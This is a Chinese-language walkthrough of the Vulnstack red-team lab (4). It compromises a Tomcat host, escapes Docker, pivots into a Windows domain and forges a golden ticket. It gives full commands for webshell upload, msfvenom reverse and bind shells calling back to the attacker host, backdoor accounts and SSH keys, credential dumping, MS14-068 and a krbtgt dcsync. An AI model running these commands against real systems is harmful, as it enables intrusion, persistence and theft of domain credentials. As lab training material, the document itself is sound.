前言 Vulnstack是红日安全团队出品的一个实战环境,本次测试的红日安全 ATT&CK实战系列——红队评估(四)靶场环境,下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
环境搭建 网络拓扑如下:
IP如下:
1 2 3 4 kali linux 192.168.150.141 web(ubuntu) 192.168.150.160(外) 192.168.183.128(内) win7 192.168.183.129 DC(win2008) 192.168.183.130
进入WEB
主机,需要手动使用docker
开启服务,分别是strtus2-045
、cve-2017-12615
、cve-2018-12613
使用docker
需要使用sudo
否则没有权限使用,开启后情况如下
get shell 我们先用nmap
扫一下
1 nmap -sC -sV -oA nmap/vulnstack4 192.168.150.160
扫描结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 root@kali:~/nmap# nmap -sC -sV -oA nmap/vulnstack4 192.168.150.160 Failed to open normal output file nmap/vulnstack4.nmap for writing QUITTING! root@kali:~/nmap# cd .. root@kali:~# nmap -sC -sV -oA nmap/vulnstack4 192.168.150.160 Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-15 09:40 CST Nmap scan report for 192.168.150.160 Host is up (0.00035s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 6d:1e:e7:55:ee:d7:2b:22:d7:6b:68:67:df:39:f5:7b (DSA) | 2048 5e:ca:2c:70:8f:a2:0c:bf:10:d7:26:2b:15:5f:3f:58 (RSA) | 256 de:b5:6a:a8:24:6a:13:45:cc:87:21:c3:c2:ee:b2:10 (ECDSA) |_ 256 8e:02:ca:99:6e:c2:eb:8f:0c:5c:bb:c9:b2:f5:06:4d (ED25519) 2002/tcp open http Apache Tomcat 8.5.19 |_http-favicon: Apache Tomcat |_http-title: Apache Tomcat/8.5.19 MAC Address: 00:0C:29:57:73:39 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.40 seconds
访问http://192.168.150.160:2002/
发现是Tomcat
利用CVE-2017-12615
直接put
一个冰蝎马上去
这里有几点需要注意 的:
将GET
请求改为PUT
上传shell
的名称后面需要加上/
,比如,/shell.jsp/
在最后加上要上传的内容,即shell
访问http://192.168.150.160:2002/shell.jsp
,shell
已经成功上传
使用冰蝎成功连接,是root
权限
使用msf 首先搜索一下apache tomcat
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 root@kali:~# searchsploit apache tomcat -------------------------------------------------------------------------------------------- ---------------------------------------- Exploit Title | Path | (/usr/share/exploitdb/) -------------------------------------------------------------------------------------------- ---------------------------------------- AWStats 6.x - Apache Tomcat Configuration File Arbitrary Command Execution | exploits/cgi/webapps/35035.txt Apache 1.3.x + Tomcat 4.0.x/4.1.x mod_jk - Chunked Encoding Denial of Service | exploits/unix/dos/22068.pl Apache Commons FileUpload and Apache Tomcat - Denial of Service | exploits/multiple/dos/31615.rb Apache Tomcat (Windows) - 'runtime.getRuntime().exec()' Local Privilege Escalation | exploits/windows/local/7264.txt ...... Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal | exploits/unix/remote/14489.c Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC) | exploits/multiple/remote/6229.txt Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote C | exploits/jsp/webapps/42966.py Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote C | exploits/windows/webapps/42953.txt .....
找到一个可用的
1 Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote C | exploits/jsp/webapps/42966.py
将payload复制到当前目录
1 2 3 4 5 6 7 root@kali:~# searchsploit -m exploits/jsp/webapps/42966.py Exploit: Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (2) URL: https://www.exploit-db.com/exploits/42966 Path: /usr/share/exploitdb/exploits/jsp/webapps/42966.py File Type: Python script, ASCII text executable, with CRLF line terminators Copied to: /root/42966.py
然后可以使用42966.py
脚本
用-u
参数检测是否存在漏洞
存在漏洞,访问http://192.168.150.160:2002/Poc.jsp
看一下
我们就用自带的工具利用漏洞
1 python 42966.py -u http://192.168.150.160:2002/ -p pwn
!
可看到成功了,并返回一个shell
然后我们去访问上传的pwn.jsp
在输入框中可执行命令
docker逃逸 参考:docker安全
使用cve-2019-5736
实现docker
逃逸 EXP
下载后编辑main.go
,将命令改为如下反弹shell
命令
6
使用go
语言编译,得到main
文件
通过冰蝎上传main
文件,一执行就卡死,于是反弹shell
到kali
使用冰蝎反弹shell
到msf
,反弹meterpreter
发现进不了shell
也无法执行文件,直接反弹shell
不能接收
于是使用另外的方式反弹shell
,首先使用msf
生成一个反弹shell
的后门
1 msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.150.141 LPORT=5555 -f raw > shell1.jsp
然后将它通过冰蝎上传到网站根目录/usr/local/tomcat/webapps/ROOT/
,执行成功反弹shell
,然后运行main
输入框中执行ls /dev
,可以看到docker虚拟的硬盘
我们试一下挂载
在根目录创建一个test
文件夹,mkdir /test
mount /dev/sda1 /test
,看一下是否挂载成功,ls /test
挂载成功
我们查看一下/home
查看隐藏文件,ls -lah /test/home/ubuntu
,可以看到.ssh
查看.ssh
接下来我们就利用ssh实现docker逃逸
ssh-keygen -f kali
生成私钥
chmod 600 kali
,不然用不了
这里我们写一个test.sh
脚本,方便执行
1 2 3 4 cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys echo > /test/home/ubuntu/.ssh/authorized_keys echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDl13XtnQ/CEiD7SZLBXR8sbpEb7aXb3CMMpCZabybfg1eXitxiT+V7ypF1v8yjlRVGk7LqVeCD1nGI5d/VaDSW3fqe6fxZBH+8nAuuWbt6oEdkndaDuPgSHBZSkGJDQsePq9WOQ1tNUx7v2Jg7pMuIdd9kTQOVgK4xL2KGxddTwmpJCkv1gNn6Vd99ASWLIRKPNYdLvQ4lGAn6gPz39LBfDXaU8ri93HA75IIzz+7nXETfkx6x82vr0GuEmJBmqRRHxAQo8zAl3XC+X/tkPrSCr4OH26Rt3dQ9EL+eJJI8hSpWxGfC2uvauFQ8Brx+SuSnUAO9RevbAUyQDXyuI8LXu3vJL2Grw2tb9FDsIAEHtHUZ8o4od6xhyWThiv2hrL8nKHXzpuypTZ6WCznP6inYaCOFpChtU01kHptmzBreNy33HveKxMjKd5338dB4zSaIaaNqPKizjoejk7oRBJkuGyqecrwL3ReToj+FM02QnjK1kESpEspMTuOF5m6vwL0= kali@kali' > /test/home/ubuntu/.ssh/authorized_keys cat /test/home/ubuntu/.ssh/authorized_keys
保存,开启一个http服务,在目标下载
python -m SimpleHTTPServer
在输入框下载
1 wget http://192.168.150.141:8000/test.sh
chmod 777 test.sh
,ls -la
看一下
执行test.sh
,bash test.sh
,成功
在kali
上用ssh
连接一下,并没有什么用,因为我们不知道密码。。。。
那么我们该怎么办呢?可以添加用户,但不能在输入框中添加,否则添加用户到了docker
这里我们可以修改配置文件也可以添加用户
写个脚本
1 2 3 4 5 6 7 8 9 chmod 777 /test/etc/passwd chmod 777 /test/etc/shadow chmod 777 /test/etc/sudoers mkdir /test/home/kali chmod 777 /test/home/kali echo 'kali:x:1001:1000:kali,,,:/home/kali:/bin/bash' >> /test/etc/passwd echo 'kali:$6$dZhS1PQKuhRB3dMq$GVQsHMiD7221rqrnfxGxP6X9Pn271DJ2N299OHzWPoR6SmSQnk7mSK96BP9ZETvqkfFs1HFbMWkxD9kCSX10H1:18397:0:99999:7:::' >> /test/etc/shadow echo 'kali ALL=(ALL:ALL) ALL' >> /test/etc/sudoers cat /test/etc/shadow
输入框下载,chomd 777 adduser.sh
,执行bash adduser.sh
在kali
上登录
这里需要注意几点:
ssh -i kali ubuntu@192.168.150.160
必须在kali
上的kali
用户下执行
sudoers
文件的权限只能是只读,上面我们改成777
,需要把它改成440
sudo -s
提升权限到root
横向移动 利用chisel
搭建代理
https://xax007.github.io/2019/04/12/pivoting-with-chisel.html
目标机器
1 ubuntu@ubuntu:~$ ./chisel server -p 9001 --socks5
kali
1 root@kali:~# ./chisel client 192.168.150.160:9001 socks
上大杀器metasploit
,利用ms17-010
,返回meterpreter
信息收集 getuid
1 2 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
ps
查看应用创建的服务
输入shell
,进入系统
1 2 3 meterpreter > shell Process 2108 created. Channel 1 created.
net view
,存在demo
域
1 2 3 4 5 6 7 C:\Windows\system32>net view /domain net view /domain Domain ------------------------------------------------------------------------------- DEMO The command completed successfully.
net view /domain:demo
查看域内机器
1 2 3 4 5 6 7 8 C:\Windows\system32>net view /domain:demo net view /domain:demo Server Name Remark ------------------------------------------------------------------------------- \\TESTWIN7-PC \\WIN-ENS2VR5TR3N The command completed successfully.
net group "domain ontrollers" /domain
查看域控
出现这种情况,首先exit
退出shell,然后steal_token 进程号
,再shell
进入
域控:\\WIN-ENS2VR5TR3N
wmic computersystem get domain
查看完整域名
net group "domain admins" /domain
查看域内管理员
net group "domain users" /domain
查看域内用户
nslookup \\WIN-ENS2VR5TR3N
查看域控IP
whoami /all
获取用户SID
: S-1-5-21-979886063-1111900045-1414766810-1107
域的SID
,用户SID
去掉最后的-
及其后面的,即S-1-5-21-979886063-1111900045-1414766810
信息收集到这就差不多了,当然越详细越好。
抓密码
rev2self
提升权限,调用kiwi
creds_all
注意: 因为登录过域成员,所以密码是明文
如果没有登录过,可以用上面的NTLM hash
systeminfo
我们可以利用mss14-068
,搜索其补丁号,若没有打补丁,说明漏洞存在
这个靶场做的很贴心,里面有很多工具,若没有,我们可以自己上传
开搞!!!
假如我们想查看域控的C盘根目录dir \\WIN-ENS2VR5TR3N\c$
发现不行,我们要使用MS17-068
1 MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130
生成了一个票据,用mimikatz
导入
再次执行dir \\WIN-ENS2VR5TR3N\c$
,成功
远程执行命令
创建关闭防火墙的服务
1 sc \\WIN-ENS2VR5TR3N create ProtectFirewall binpath= "netsh advfirewall set allprofiles state off"
制作反弹shell木马
1 msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6001 -f exe-service -o update.exe
上传到域成员douser,查看当前目录pwd
,upload update.exe
创建反弹shell服务
1 sc \\WIN-ENS2VR5TR3N create Shell binpath= "C:\update.exe"
设置监听,先不执行
执行关闭防火墙的服务
1 sc \\WIN-ENS2VR5TR3N start ProtectFirewall
虽然提示失败了,但是防火墙确实关闭了
执行反弹shell服务
1 sc \\WIN-ENS2VR5TR3N start Shell
开启监听,shell弹回来,拿到域控的shell
接下来,我们可以抓key,构造黄金令牌
load kiwi
1 2 3 4 5 6 7 8 9 10 meterpreter > load kiwi Loading extension kiwi... .#####. mimikatz 2.2.0 20191125 (x64/windows) .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ Success.
help
可以帮助我们查看command
文档
dcsync_ntlm
来还原krbtgt
的hash
1 2 meterpreter > dcsync_ntlm krbtgt [!] Running as SYSTEM, function will not work.
出现这种情况,我们需要伪造administrator,然后再执行dcsync_ntlm krbtgt
1 2 3 4 5 6 7 8 meterpreter > steal_token 1952 Stolen token with username: DEMO\administrator meterpreter > dcsync_ntlm krbtgt [+] Account : krbtgt [+] NTLM Hash : 7c4ed692473d4b4344c3ba01c5e6cb63 [+] LM Hash : 4d81a5d6b591f0710e75884e5ef9cba2 [+] SID : S-1-5-21-979886063-1111900045-1414766810-502 [+] RID : 502
golden_ticket_create
构造黄金票据
1 2 3 4 5 6 7 8 9 10 meterpreter > golden_ticket_create -d demo.com -u Administrator -s S-1-5-21-979886063-1111900045-1414766810 -k 7c4ed692473d4b4344c3ba01c5e6cb63 -t /home/kali/kali.tck [+] Golden Kerberos ticket written to /home/kali/kali.tck 参数介绍 -t /home/kali/kali.tck -d 域名 -u 要伪造的用户 -s 域SID -k krbtge的ntlm -t 保存的本地路径
导入黄金票据
1 2 3 eter > kerberos_ticket_use /home/kali/kali.tck [*] Using Kerberos ticket stored in /home/kali/kali.tck, 1820 bytes ... [+] Kerberos ticket applied successfully.
查看域控的c盘根目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 C:\Windows\system32>dir \\WIN-ENS2VR5TR3N\c$ dir \\WIN-ENS2VR5TR3N\c$ Volume in drive \\WIN-ENS2VR5TR3N\c$ has no label. Volume Serial Number is 702B-0D1B Directory of \\WIN-ENS2VR5TR3N\c$ 2009/07/14 11:20 <DIR> PerfLogs 2020/01/24 13:30 <DIR> Program Files 2020/01/24 13:30 <DIR> Program Files (x86) 2020/05/16 11:39 48,640 update.exe 2019/12/31 11:01 <DIR> Users 2020/01/24 13:33 <DIR> Windows 1 File(s) 48,640 bytes 5 Dir(s) 12,438,585,344 bytes free